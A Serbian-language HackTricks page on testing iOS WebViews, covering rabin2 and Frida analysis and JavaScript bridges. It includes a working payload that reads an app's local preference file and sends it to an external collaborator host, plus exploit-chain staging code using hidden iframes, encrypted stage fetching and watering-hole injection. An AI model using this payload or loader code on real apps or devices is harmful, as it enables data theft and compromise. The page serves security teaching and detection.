iOS WebViews
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
The code of this page was extracted from ovde. Check the page for further details.
Tipovi WebView-ova
WebView-ovi se koriste unutar aplikacija za interaktivno prikazivanje web sadržaja. Različiti tipovi WebView-a nude različite funkcionalnosti i bezbednosne osobine za iOS aplikacije. Evo kratkog pregleda:
-
UIWebView, koji se od iOS 12 više ne preporučuje zbog nedostatka podrške za onemogućavanje JavaScript, što ga čini podložnim script injection i Cross-Site Scripting (XSS) napadima.
-
WKWebView je preporučena opcija za integrisanje web sadržaja u aplikacije, nudeći poboljšanu kontrolu nad sadržajem i bezbednosnim funkcijama. JavaScript je podrazumevano omogućen, ali se može onemogućiti po potrebi. Takođe podržava funkcije koje sprečavaju da JavaScript automatski otvara prozore i osigurava da se sav sadržaj učitava sigurno. Dodatno, arhitektura WKWebView-a smanjuje rizik da oštećenje memorije utiče na glavni proces aplikacije.
-
SFSafariViewController pruža standardizovano iskustvo pregledanja weba unutar aplikacija, prepoznatljivo po specifičnom izgledu koji uključuje polje za adresu samo za čitanje, dugmad za deljenje i navigaciju, i direktnu vezu za otvaranje sadržaja u Safari. Za razliku od WKWebView, JavaScript se ne može onemogućiti u SFSafariViewController, koji takođe deli cookies i podatke sa Safari, čuvajući privatnost korisnika u odnosu na aplikaciju. Mora biti jasno prikazan u skladu sa App Store smernicama.
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
Sažetak istraživanja konfiguracija WebViews
Pregled statičke analize
Tokom pregleda konfiguracija WebViews, fokus je na dva osnovna tipa: UIWebView i WKWebView. Za identifikaciju ovih WebViews u binarnom fajlu koriste se komande koje traže reference na specifične klase i metode inicijalizacije.
- UIWebView Identifikacija
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
Ova komanda pomaže u pronalaženju instanci UIWebView pretraživanjem tekstualnih nizova povezanih s njim u binarnoj datoteci.
- Identifikacija WKWebView
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
Slično, za WKWebView, ova komanda pretražuje binarni fajl za tekstualnim nizovima koji ukazuju na njegovu upotrebu.
Pored toga, da bi se otkrilo kako je WKWebView inicijalizovan, izvršava se sledeća komanda koja cilja potpis metode vezan za njegovu inicijalizaciju:
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
Provera konfiguracije JavaScript-a
Za WKWebView, istaknuto je da je onemogućavanje JavaScript-a najbolja praksa osim ako nije neophodno. U kompajliranom binarnom fajlu pretražuje se da bi se potvrdilo da je svojstvo javaScriptEnabled postavljeno na false, čime se obezbeđuje da je JavaScript onemogućen:
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
Provera samo sigurnog sadržaja
WKWebView omogućava otkrivanje problema sa mešovitim sadržajem, za razliku od UIWebView. Ovo se proverava pomoću svojstva hasOnlySecureContent kako bi se osiguralo da su svi resursi stranice učitani putem sigurnih konekcija. Pretraga u kompajliranom binarnom fajlu se vrši na sledeći način:
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
Dinamička analiza — uvidi
Dinamička analiza podrazumeva ispitivanje heap-a radi pronalaženja instanci WebView i njihovih svojstava. Za tu svrhu koristi se skripta webviews_inspector.js, koja cilja instance UIWebView, WKWebView i SFSafariViewController. Ona beleži informacije o pronađenim instancama, uključujući URL-ove i podešavanja vezana za JavaScript i sigurni sadržaj.
Pregled heapa može se izvršiti pomoću ObjC.choose() da bi se identifikovale instance WebView i proverila svojstva javaScriptEnabled i hasonlysecurecontent.
ObjC.choose(ObjC.classes["UIWebView"], {
onMatch: function (ui) {
console.log("onMatch: ", ui)
console.log("URL: ", ui.request().toString())
},
onComplete: function () {
console.log("done for UIWebView!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("URL: ", wk.URL().toString())
},
onComplete: function () {
console.log("done for WKWebView!")
},
})
ObjC.choose(ObjC.classes["SFSafariViewController"], {
onMatch: function (sf) {
console.log("onMatch: ", sf)
},
onComplete: function () {
console.log("done for SFSafariViewController!")
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log(
"javaScriptEnabled:",
wk.configuration().preferences().javaScriptEnabled()
)
},
})
ObjC.choose(ObjC.classes["WKWebView"], {
onMatch: function (wk) {
console.log("onMatch: ", wk)
console.log("hasOnlySecureContent: ", wk.hasOnlySecureContent().toString())
},
})
Skript se izvršava pomoću:
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
Ključni rezultati:
- Instance WebView-ova su uspešno pronađene i pregledane.
- Provereno je omogućavanje JavaScripta i podešavanja za bezbedan sadržaj.
Ovaj sažetak obuhvata ključne korake i komande koje se koriste za analizu konfiguracija WebView-a kroz statičke i dinamičke pristupe, sa fokusom na bezbednosne osobine kao što su omogućavanje JavaScripta i detekcija mešovitog sadržaja.
Rukovanje protokolima WebView-a
Rukovanje sadržajem u WebView-ovima je kritični aspekt, posebno pri radu sa različitim protokolima kao što su http(s)://, file://, i tel://. Ovi protokoli omogućavaju učitavanje i udaljenog i lokalnog sadržaja unutar aplikacija. Naglašava se da pri učitavanju lokalnog sadržaja treba preduzeti mere opreza kako bi se sprečilo da korisnici utiču na ime ili putanju fajla ili da uređuju sam sadržaj.
WebViews nude različite metode za učitavanje sadržaja. Za UIWebView, koji je sada zastareo, koriste se metode kao što su loadHTMLString:baseURL: i loadData:MIMEType:textEncodingName:baseURL:. WKWebView, s druge strane, koristi loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:, i loadRequest: za web sadržaj. Metode kao što su pathForResource:ofType:, URLForResource:withExtension:, i init(contentsOf:encoding:) obično se koriste za učitavanje lokalnih fajlova. Metoda loadFileURL:allowingReadAccessToURL: je posebno značajna zbog svoje sposobnosti da učita određeni URL ili direktorijum u WebView, što može dovesti do izlaganja osetljivih podataka ako je naveden direktorijum.
Da biste pronašli ove metode u izvornom kodu ili kompajliranom binarnom fajlu, mogu se koristiti naredbe poput sledećih:
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
Što se tiče pristupa fajlovima, UIWebView to omogućava univerzalno, dok WKWebView uvodi podešavanja allowFileAccessFromFileURLs i allowUniversalAccessFromFileURLs za upravljanje pristupom sa file URL-ova, pri čemu su oba podrazumevano false.
Dat je primer Frida skripte za pregled konfiguracija WKWebView u pogledu sigurnosnih podešavanja:
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
Na kraju, primer JavaScript payload-a usmerenog na eksfiltraciju lokalnih fajlova pokazuje potencijalni bezbednosni rizik povezan sa nepravilno konfigurisanim WebViews. Ovaj payload enkodira sadržaj fajlova u hex format pre nego što ih pošalje na server, ističući važnost strogih bezbednosnih mera u implementacijama WebView.
String.prototype.hexEncode = function () {
var hex, i
var result = ""
for (i = 0; i < this.length; i++) {
hex = this.charCodeAt(i).toString(16)
result += ("000" + hex).slice(-4)
}
return result
}
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest()
xhr2.open(
"GET",
"http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/" +
xhr.responseText.hexEncode(),
true
)
xhr2.send(null)
}
}
xhr.open(
"GET",
"file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist",
true
)
xhr.send(null)
Nativne metode izložene kroz WebViews
Razumevanje WebView nativnih interfejsa u iOS-u
Od iOS 7, Apple obezbedio API-je za komunikaciju između JavaScript-a u WebView i nativnih Swift ili Objective-C objekata. Ova integracija se prvenstveno ostvaruje preko dve metode:
- JSContext: JavaScript funkcija se automatski kreira kada je Swift ili Objective-C blok povezan sa identifikatorom unutar
JSContext. Ovo omogućava neometanu integraciju i komunikaciju između JavaScript-a i nativnog koda. - JSExport Protocol: Nasleđivanjem
JSExportprotokola, nativna svojstva, instance metode i class metode mogu biti izložene JavaScript-u. To znači da se sve izmene napravljene u JavaScript okruženju reflektuju u nativnom okruženju i obrnuto. Međutim, važno je osigurati da osetljivi podaci ne budu nenamerno izloženi kroz ovu metodu.
Pristup JSContext u Objective-C
U Objective-C, JSContext za UIWebView može se dobiti sledećom linijom koda:
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
Komunikacija sa WKWebView
Za WKWebView direktan pristup JSContext nije dostupan. Umesto toga koristi se slanje poruka preko funkcije postMessage, što omogućava komunikaciju iz JavaScript-a ka native. Handleri za ove poruke se podešavaju na sledeći način, omogućavajući JavaScript-u da bezbedno komunicira sa native aplikacijom:
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
Interakcija i testiranje
JavaScript može da komunicira sa native slojem definisanjem script message handler-a. Ovo omogućava operacije kao što su pozivanje native funkcija sa web stranice:
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage([
"multiplyNumbers",
value1,
value2,
])
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
Da biste presreli i manipulisali rezultatom poziva native funkcije, možete override-ovati callback funkciju unutar HTML-a:
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result)
}
</script>
</html>
Native deo obrađuje JavaScript poziv kako je prikazano u klasi JavaScriptBridgeMessageHandler, gde se rezultat operacija kao što je množenje brojeva obrađuje i vraća nazad u JavaScript za prikaz ili dalju obradu:
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
iOS Web Exploit Delivery & Staging Tradecraft
Sledeći obrasci su primećeni u realnim iOS Safari/WebKit exploit delivery chains i korisni su za analizu, detekciju i kontrolisanu emulaciju.
Multi-stage loader via hidden iframes
Uobičajen staging pattern je da se ograniči izvršavanje kako bi se izbegla reinfekcija ili analiza, a zatim ubaci skriveni/off-screen iframe za sledeću fazu:
<script>
if (!sessionStorage.getItem('uid') && isTouchScreen) {
sessionStorage.setItem('uid', '1');
const frame = document.createElement('iframe');
frame.src = 'frame.html?' + Math.random();
frame.style.height = 0;
frame.style.width = 0;
frame.style.border = 'none';
document.body.appendChild(frame);
} else {
top.location.href = 'red';
}
</script>
Minimalna staging stranica može ubaciti main loader putem document.write():
<script>
document.write('<script defer="defer" src="rce_loader.js"><\/script>');
</script>
Faze loadera često sinhrono povlače naredni JavaScript:
function getJS(fname) {
const xhr = new XMLHttpRequest();
xhr.open('GET', fname, false);
xhr.send(null);
return xhr.responseText;
}
Kasnije faze mogu se izvršavati u worker-like kontekstu kreiranjem Blob URL-a:
const workerCode = getJS('rce_worker_18.4.js');
const workerBlob = new Blob([workerCode], { type: 'text/javascript' });
const workerBlobUrl = URL.createObjectURL(workerBlob);
Prinuđivanje Safarija da pristupi WebKit/JSC površini
Ako žrtva otvori mamac u drugom pregledaču, protocol handler može primorati Safari:
if (typeof browser === 'undefined' && isIphone()) {
location.href = 'x-safari-https://example.com/<redacted>';
}
Šifrovano stage fetch (ECDH + AES)
Neki loaders šifruju exploit stages u toku prenosa. Minimalan client flow je: generiši ephemeral ECDH keypair, POST base64 public key, primi encrypted blobs, izvedi AES key, dešifruj, zatim dekodiraj u JavaScript:
const kp = generateKeyPair();
const pubPem = exportPublicKeyAsPem(kp.publicKey);
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://<redacted>/stage?'+Date.now(), false);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({ a: btoa(pubPem) }));
const { a, b } = JSON.parse(xhr.responseText);
const aesKey = deriveAesKey(kp.privateKey, b64toUint8Array(b));
const js = new TextDecoder().decode(decryptData(b64toUint8Array(a), aesKey));
Watering-hole injection pattern
Kompromitovani sajtovi mogu učitati remote script koji gradi off-screen iframe i ograniči ga pomoću sandbox-a, a pritom i dalje dozvoljava script execution:
<script async src="https://static.example.net/widgets.js?token"></script>
const iframe = document.createElement('iframe');
iframe.src = 'https://static.example.net/assets/index.html';
iframe.style.width = '1px';
iframe.style.height = '1px';
iframe.style.position = 'absolute';
iframe.style.left = '-9999px';
iframe.style.opacity = '0.01';
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
document.body.appendChild(iframe);
Anti-forenzički indikatori nakon post-eksploatacije (JS implants)
- Privremeno postavljanje pod
/tmp/<uuid>.<digits>/sa podfolderima kaoSTORAGE,DATA, iTMP. - Brisanje crash logova u
/var/mobile/Library/Logs/CrashReporter/(često filtrirano pomoću WebKit/SpringBoard substringova). - Rekurzivno brisanje
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/.
Otklanjanje grešaka u iOS WebViews
(Tutorial zasnovan na onom sa https://blog.vuplex.com/debugging-webviews)
Da biste efikasno debugovali web sadržaj unutar iOS webview-ova, potreban je specifičan setup koji uključuje Safari developer alatke, jer poruke poslate u console.log() nisu prikazane u Xcode logovima. Evo pojednostavljenog vodiča sa ključnim koracima i zahtevima:
-
Priprema na iOS uređaju: Safari Web Inspector mora biti aktiviran na vašem iOS uređaju. To se radi tako što odete na Settings > Safari > Advanced, i omogućite Web Inspector.
-
Priprema na macOS računaru: Na vašem macOS razvojnog računaru, morate omogućiti developer alatke u Safariju. Pokrenite Safari, idite na Safari > Preferences > Advanced, i izaberite opciju da se prikaže Develop menu.
-
Povezivanje i debugovanje: Nakon povezivanja iOS uređaja sa macOS računarom i pokretanja aplikacije, koristite Safari na macOS-u da izaberete webview koji želite da debugujete. Idite na Develop u Safari meniju, pređite mišem preko imena vašeg iOS uređaja da vidite listu instanci webview-a, i izaberite instancu koju želite da inspektrate. Otvoriće se novo Safari Web Inspector prozor za tu namenu.
Međutim, imajte na umu ograničenja:
- Debugovanje ovom metodom zahteva macOS uređaj jer se oslanja na Safari.
- Samo webview-ovi u aplikacijama učitanim na vaš uređaj preko Xcode-a su dostupni za debugovanje. Webview-ovi u aplikacijama instaliranim preko App Store-a ili Apple Configurator-a ne mogu se debugovati na ovaj način.
References
-
https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain/
-
https://github.com/authenticationfailure/WheresMyBrowser.iOS
-
https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


